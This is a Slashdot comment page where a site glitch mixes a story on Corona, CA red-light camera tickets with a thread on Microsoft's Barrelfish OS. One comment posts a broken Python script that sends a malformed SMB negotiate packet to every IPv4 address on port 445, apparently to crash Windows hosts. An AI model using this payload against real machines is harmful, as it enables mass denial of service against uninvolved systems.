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Comments: 366 +- Your Rights Online: CA City Mulls Evading the Law On Red-Light Cameras on Friday September 25, @10:32AM
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by
kdawson
on Friday September 25, @10:32AM
from the wrong-on-so-many-levels dept.
from the wrong-on-so-many-levels dept.
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privacy
TechDirt is running a piece on Corona, CA, where officials are considering ignoring a California law that authorizes red-light cameras — cutting the state and the county out of their portion of the take — in order to increase the city's revenue. The story was first reported a week ago. The majority of tickets are being (automatically) issued for "California stops" before a right turn on red, which studies have shown rarely contribute to an accident. TechDirt notes the apparent unconstitutionality of what Corona proposes to do: "The problem here is that Corona is shredding the Sixth Amendment of the US Constitution, the right to a trial by jury. By reclassifying a moving violation... to an administrative violation... Corona is doing something really nefarious. In order to appeal an administrative citation you have to admit guilt, pay the full fine, and then apply for a hearing in front of an administrative official, not a judge in a court. The city could simply deny all hearings for administrative violations or schedule them far out in advance knowing full well that they have your money, which you had to pay before you could appeal."
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Ahhh (Score:5, Funny)
That slashdot outage was terrible. I almost got some work done..
What the.... (Score:5, Interesting)
I don't know what the outage was, but why am I reading comments about open source code, routing, and marshaling in the comments about a constitutional overstep by a local municipality in CA?
-Rick
Parent
Re:What the.... (Score:4, Funny)
World of Slashdotcraft: Cataclysm
Parent
I'm outraged! (Score:5, Funny)
This just goes to show, you can't count on big companies to do what's right. If there were more freedom and openness, we'd be a lot better off. Between Microsoft's FUD and Apple's fanboys, it's a wonder anything gets done.
Hopefully, once people realize what's going on and the Pirate Party gains ground and push back the anti-evolution religious nuts, everything will be much better.
There, that should milk a few karma points no matter what Slashdot article this comment ends up under.
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Re:prefilled comments (Score:4, Insightful)
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Re:prefilled comments (Score:5, Interesting)
On the subject of red light cameras, if they become administrative violations, IMHO, the right solution is to simply not pay them. The DMV almost certainly won't refuse to renew your license for such administrative violations because the law only allows parking violations and a few other things to be handled in that manner.. As such, the tickets probably have no teeth unless you do other business with the city and they have laws that would allow them to refuse to do other business with you until you pay the fees.
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Re:prefilled comments (Score:4, Interesting)
That is how they are trying to get away with the red light cams in the New Orleans/Metairie area..the administrative approach.
I had heard one person recently, had done what you suggested, and did not pay...and is suing to get out of them.
I need to check back in on this, but, last I heard, there was a lawsuit to have the cameras removed as being (state) unconstitutional, in that every traffic law is supposed to be enforced equally, and since they don't have these cameras on EVERY redlight in the state...they are illegal to have in the few they do have.
Parent
Messages eh? (Score:4, Funny)
As if any of this will see the light of day. (Score:4, Insightful)
3 "New Architechture" operating systems.
Microsoft is getting more like the old Xerox and IBM every day.
Xerox PARC: Create industry changing new technology that we hear about but never see. Never release.
IBM of the 1980's: Fat, lethargic, bureaucracy driven.
Microsoft right now: Both.
I'm still waiting for Cairo.
--
BMO
Re:As if any of this will see the light of day. (Score:4, Insightful)
Parent
Queue the Microsoft OS Jokes (Score:3, Funny)
Re:Queue the Microsoft OS Jokes (Score:4, Funny)
Yes, we wouldn't want to be subjected to more than one at a time.
Parent
It's multicore as in i386+amd64+ARM+GPU (Score:4, Interesting)
that's a surprise. http://www.barrelfish.org/barrelfish_sosp09.pdf [barrelfish.org]
Genuine innovation (Score:5, Insightful)
Say what you want about Microsoft, but their research division does a hell of a lot of genuine innovation.
This is an important problem area for future software systems, great that alternative approaches are being looked at. More power to them.
Re:Genuine innovation (Score:4, Insightful)
Say what you want about Microsoft, but their research division does a hell of a lot of genuine innovation.
I don't think so. I'll give them credit for trying really hard and for having a huge budget though.
Can you give a few examples of really original research? Everything I've seen was either trivial or a rehash of old mainframe ideas. Not that I'm saying there is anything wrong with old mainframe ideas but it's hardly 'genuine innovation'.
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Re:Genuine innovation (Score:5, Insightful)
.net is their only real innovation that comes to mind.
In what way is .net an innovation? It's not an innovation without being new in some way.
MS's real strength is in their ability to take technologies and make them easy to use, consistent and reliable.
No. Their real strength is marketing, sales, strongarming hardware suppliers, and consumer ignorance. Their software isn't easier to use or more consistent than anything else and it certainly isn't more reliable. Actually it is shockingly unreliable.
Ever had to deal with active directory? Chain crashes of multiple machines do happen and application level errors often cause a blue screen and leave no logs to indicate what went wrong. In big environments bugs like that cost a few million a day and they happen every day. Companies pay a fortune just to cover things like that up, it happens everywhere.
Ever seen a virus wipe out over a thousand production servers in a day? I have on windows but never on anything unix based.
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Re:Genuine innovation (Score:4, Interesting)
Can you provide details on how to replicate this behaviour ?
Install python
run:
#!/usr/bin/python
from socket import socket
from time import sleep
while True: :) normal value should be "\x00\x00"
for a in 255:
for b in 255:
for c in 255:
for d in 255:
ip_addr = a+"."+b+"."+c+"."+d
host = id_addr, 445
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: -->
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"
)
s = socket()
s.connect(host)
s.send(buff)
s.close()
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Re:Genuine innovation (Score:5, Informative)
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Re:Genuine innovation (Score:4, Insightful)
By Genuine Innovation you mean "doing stuff Sun was doing well over a decade ago?" Sounds pretty innovative to me.
I think the 'Genuine Innovation' bit comes in when they lie about having done it first in some huge expensive marketing campaign.
Parent
Re:Genuine innovation (Score:5, Interesting)
I think the 'Genuine Innovation' bit comes in when they lie about having done it first in some huge expensive marketing campaign.
Can you provide an example of this ?
I can provide a few.
MS-DOS was QDOS brought and rebranded. MS didn't create it yet they told everyone they did.
The windows desktop environment was a mac or PARC or X clone, not sure which. It wasn't new but they pushed it like it was.
The Windows NT OS was reimplementation of VMS and UNIX systems, only not done nearly as well as either. They called it NT for New Technology and marketing it as the stable 'business' alternative to dos based windows.
Excel was a Lotus 1-2-3 clone. The pivot tables accountants love so much were copied from Lotus too. They sell their office package like crazy but they didn't develop the core of it.
Word was a wordstar clone.
Internet Explorer was a mosaic clone. Although MS are giving it away for nothing they are still marketing it like crazy.
Active Directory is just a LDAP clone. They market it as something which will solve all the worlds problems.
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Big companies CAN'T change direction (Score:5, Insightful)
Microsoft is far to big to change direction. They are a marketing company trying to wring every last penny out of windows and related tools. They have never been a technology company and trying to change now will do nothing but burn vast sums of money. Windows is obsolete and they know they have to replace it but they will never be able to come up with anything better.
They could develop new and better OS's at a fraction of their current research costs by simply giving cash to universities to do the work and keeping their hands off the projects. Sadly they can't think like that.
Re:Big companies CAN'T change direction (Score:4, Insightful)
I am always amazed that people can be both assertive and utterly wrong. I despise Microsoft, for a variety of reason, but that isn't a reason to be blind at their qualities:
> Microsoft is far to big to change direction.
Internet, WindowsNT, XBox are counter examples. Microsoft is one of the most agile company out there. A lot of dead [wikipedia.org] / moribond [wikipedia.org] companies [wikipedia.org] and a lot of [wikipedia.org] products [wikipedia.org] are there to serve as a warning to others [google.com].
> They have never been a technology company
I beg to differ [amazon.com]. It is possible to argue that their are not a technology company anymore, but not that they never were
> They could develop new and better OS's at a fraction of their current research costs by simply giving cash to universities to do the work and keeping their hands off the projects
To build an OS that they would get no benefits of ? Wtf? And why does MS would need a new OS ? What is wrong with the current OS model ? They need better apps, they need better subsystems, they need to remove cruft and to clean up stuff, but the core OS is still fine for its uses and can be improved by evolutions.
They just need Microsoft Research for a few things, mainly:
* To prevent people working here from working elsewhere, where they could create and apply disruptive technology.
* To get ideas that may or may not integrated into products (given the origins of the talking paperclip, the latter may be better)
* To have a better time-to-market IF they needed to produce something due to some disruptive tech appearing from competitors
Giving cash to university and keeping their hands off the projects obviously wouldn't make any sense
Parent
amused... (Score:5, Funny)
I've seen this before... (Score:5, Interesting)
It was more of a programming language than an Operating System, but ERLANG has the stuff to do multi-core, well. Using ERLANG, they've actually achieved nine nines of uptime. That works out to well under a SECOND of downtime in a year. It scales (near) linearly as the number of cores go up, IO is the limitation.
You can read all about it here. [pragprog.com] Concepts like message passing and immutability is what makes it work.
Erlang actually lets you update the program while it's running. It has extensive error recovery. It's lack of shared state means you can not only go multi-core, but multi-system over networks - invisibly.
Seriously, It's the cat's meow for ultra-high-end high-performance, industrial-grade software solutions. If I were writing a stock exchange management system, I would probably consider ERLANG.
Multicore, or clusters? (Score:4, Interesting)
It's a little hard to determine whether this is actually about discrete multicore systems, or heterogenous clusters. Sure, a single conventional machine is likely to have both CPU and GPU, but it's less likely to have x86_64, x86 and CPUs. So to some extent, I suspect heterogenous clusters. In the case of a single box, this would come across as a massive prototyping effort simply to avoid supporting an open-tracked standard (OpenCL).
Windows vs Mac (Score:4, Funny)
When Microsoft wonders why Mac is perceived and cool and Windows isn't take a clue from their naming conventions. Barrelfish vs Snow Leopard. Can you spot the cooler name? After Vista flopped the marketing department went out and got drunk and said "aw fuck it, we'll just call the next one Windows 7". Just kind of feels like they really aren't even trying.
Looking for a good research OS (Score:3, Interesting)
I would like something that is a combination of Inferno/Plan9(styx is nice) and Erlang as a stand-alone OS. Throw in any other cool features for good multiprocessor and high performance clustering and fault tolerance. (Although if Erlang-like, I would like some better syntax, it's a little hairy). The idea of being able to scale to 20 million threads on one system efficiently with Erlang is intriguing, although I estimated that it would take about 48GiB of RAM to just have the stack data. But that's not so bad, it's pretty easy to find an affordable server motherboard that can accept 64GiB of RAM. (installing all that RAM is moderately expensive though)
Nice... (Score:3)
I'm shocked (Score:5, Funny)
At last a TFA which is actually hosted on the system it's talking about, and it refuses to break so we can make "It must be running Barrelfish" jokes. Maybe it really is efficient.
Slashcode is Farked... (Score:5, Informative)
How did I end up in the Windows 7 thread from the "CA City Mulls Evading the Law On Red Light Cameras" article? It even shows that in the address bar, so I'm not crazy here...
Re:Slashcode is Farked... (Score:4, Informative)
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Re:Slashcode is Farked... (Score:5, Funny)
How did I end up in the Windows 7 thread from the "CA City Mulls Evading the Law On Red Light Cameras" article? It even shows that in the address bar, so I'm not crazy here...
I don't know, but I suspect the "duct tape programmer" story might be related somehow..
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Wrong comments? (Score:5, Informative)
Re:Wrong comments? (Score:5, Funny)
Everyone decided it was uninteresting and now we're talking about Windows 7 and Microsoft instead.
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Two stories beat as one (Score:5, Funny)
I've seen many spectacular Slashdot screwups over the years, but this is a new one. Well done, guys!
Other states do it as well (Score:5, Informative)
(Red light story) - PA already does it in many cities/villages. You are required to pay a $50 non-refundable 'administrative' fee in order to be able to present your case to a judge and the judge will usually give you a reduction on the fine even if you have a good case (cop always wins). Given that the fines are somewhere between $75 and $150, it's not even worth going in.
NY does it also in large cities. You don't even go to a judge anymore, you go to an administrator at the Traffic Violations Bureau who decides how much you have to pay, no plea bargaining, no judges.
Re:Other states do it as well (Score:4, Interesting)
I think one way to fight this is to use the approach that some cyclists use in the "Critical Mass" approach to cycling safety.
If a grass roots protest was formed by simply stopping at ALL red lights and waiting for a green would soon gridlock traffic. Until the tickets go away for turning on red, not turning on red to avoid the new tax is the solution to show the impact it has on drivers. Stopping for the red and waiting for the green saves you the ticket as well as the line behind you.
Parent
Pre-Taped Call-In Show (Score:5, Funny)
Constitutional? (Score:4, Informative)
"The problem here is that Corona is shredding the Sixth Amendment of the US Constitution, the right to a trial by jury. By reclassifying a moving violation... to an administrative violation... Corona is doing something really nefarious. In order to appeal an administrative citation you have to admit guilt, pay the full fine, and then apply for a hearing in front of an administrative official, not a judge in a court. T
Could someone send a copy of the applicable amendments and supporting court decisions to Washington State? Moving violations have been considered "administrative violations" here for years. WA state does things a little differently; they don't require you to admit guilt. Guilt has nothing to to with paying/not paying a fine. They also employ someone who is nominally a judge to handle contested violations. But at the outset of the "trial" they state that it is not a trail, rules of evidence do not apply including the municipalities need to prove a case. Other than the semantics, it sounds just like Corona's system.
Re:Constitutional? (Score:4, Interesting)
No, they can't - because they don't exist. I don't know of anywhere in the country where traffic violations (that is, those that don't count as misdemeanors or other criminal violations) are treated as criminal violations - which do require a trial by jury. IOW, the OP is just making shit up.
Parent
Re: (Score:3, Informative)
Maybe it's because it's not just Microsoft who's working on that project. The other half of the team is from ETH Zurich Systems Group: http://www.systems.ethz.ch/ [systems.ethz.ch] .
Re:weird (Score:4, Interesting)
Firstly, this is a collaboration with ETH Zurich, not exclusively a Microsoft project, and secondly, the OS isn't available under any existing license. to quote:
Excluding some third-party libraries, which are covered by various BSD-like open source licenses, Barrelfish is released under the following license (also included in the download):
Copyright (c) 2007, 2008, 2009, ETH Zurich and Microsoft Corporation. All rights reserved.
Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
It's great that this source will be open for study, at least at this early stage, but it's very likely to be locked away under copyright and/or patents by the time it becomes useful.
Parent
Re:weird (Score:4, Insightful)
MS Research is like a research university for all intents and purposes; they basically have academic latitude. Of course by the time the product reaches market it will be made, um..."better".
That's exactly it. MS Research is very much like a university except that their projects rarely make it out into the public in any meaningful and open way.
I'm not begrudging MS keeping their projects to themselves, just pointing out that there is a fairly key distinction to be made here.
Parent
Re:direct CPU-CPU interconnects; Transputer? (Score:4, Interesting)
Imagine what might have happened if this actually got momentum behind it and we never went through the stagnation that is DOS/Windows.
http://en.wikipedia.org/wiki/Atari_Transputer_Workstation [wikipedia.org]
--
BMO
Parent
Re:direct CPU-CPU interconnects; Transputer? (Score:4, Informative)
Transputers had 4 HW links -- those are probably the easiest part to replicate in current processors.
The difficult part is the threading model: Transputers had their own thread model. Scheduler was hardwired in silicon, together with a couple of dedicated instructions. SW could not tell the difference between a local and a remote communication. Efficient, but not very flexible in terms of OS architecture.
Parent
Re:direct CPU-CPU interconnects; Transputer? (Score:4, Informative)
"Marshalling" means converting data structures into byte streams. No, you didn't have to do that multiple times. The term you're looking for is "routing". Routing can be abstracted into libraries and the OS; no need for every application to worry about it. It was just that the Transputer (as well as a lot of other system software development) was killed when Microsoft monopolized the market.
Parent
Re:Grand Central Dispatch? (Score:4, Informative)
Clearly you have no idea what GCD is.
Parent
Re:Grand Central Dispatch? (Score:4, Funny)
No, but as an Apple fanboy, he's automatically +5.
Parent
Re:"Green Arrow". (Score:5, Informative)
In the US (not all the state I think), there is turn-on-red which means you can always turn right (provided you are on the most right lane) but you must yield if the traffic light is red. Turn on red is the common thing and it is specified when it is forbidden. Whereas in France, the opposite is used : you can not turn unless the right green arrow is lit.
I believe the rule is turn on red in the US because the roads are new and built with good visibility. When there is no visibility turn on red is forbidden. Whereas in France at most intersections turn on red would be dangerous due to the lack of visibility. Therefore turn on red is the exception.
Parent
Re:Right to a jury?! (Score:4, Informative)
If it's a criminal case, Amendment VI provides a right to a jury.
If it isn't, and the amount at stake is over $20, Amendment VII provides it.
The bolded portion is wrong. Amendment VII only provides the right to a jury in civil suits, not in all non-criminal trials.
The distinction is important because at the time the Constitution was written there was a difference between petty crimes and so-called criminal offenses--the former were not afforded a jury trial under common law, while the latter were.
While petty crimes are, today, lumped in with criminal offenses in many ways, the distinction still remains when it comes to determining whether a jury trial is required or not.
See Petty Federal Offenses and the Constitutional Guaranty of Trial by Jury, 39 Harv.L.Rev. 917, 922-965, 983-1019, or the summary of the law visible in Google books here:
http://books.google.com/books?id=pkb9HLOzeTcC&lpg=PT396&ots=chYy4WR8ii&dq=Petty%20Federal%20Offenses%20and%20the%20Constitutional%20Guarantee%20of%20Trial%20by%20Jury&pg=PT395#v=onepage&q=&f=false [google.com]
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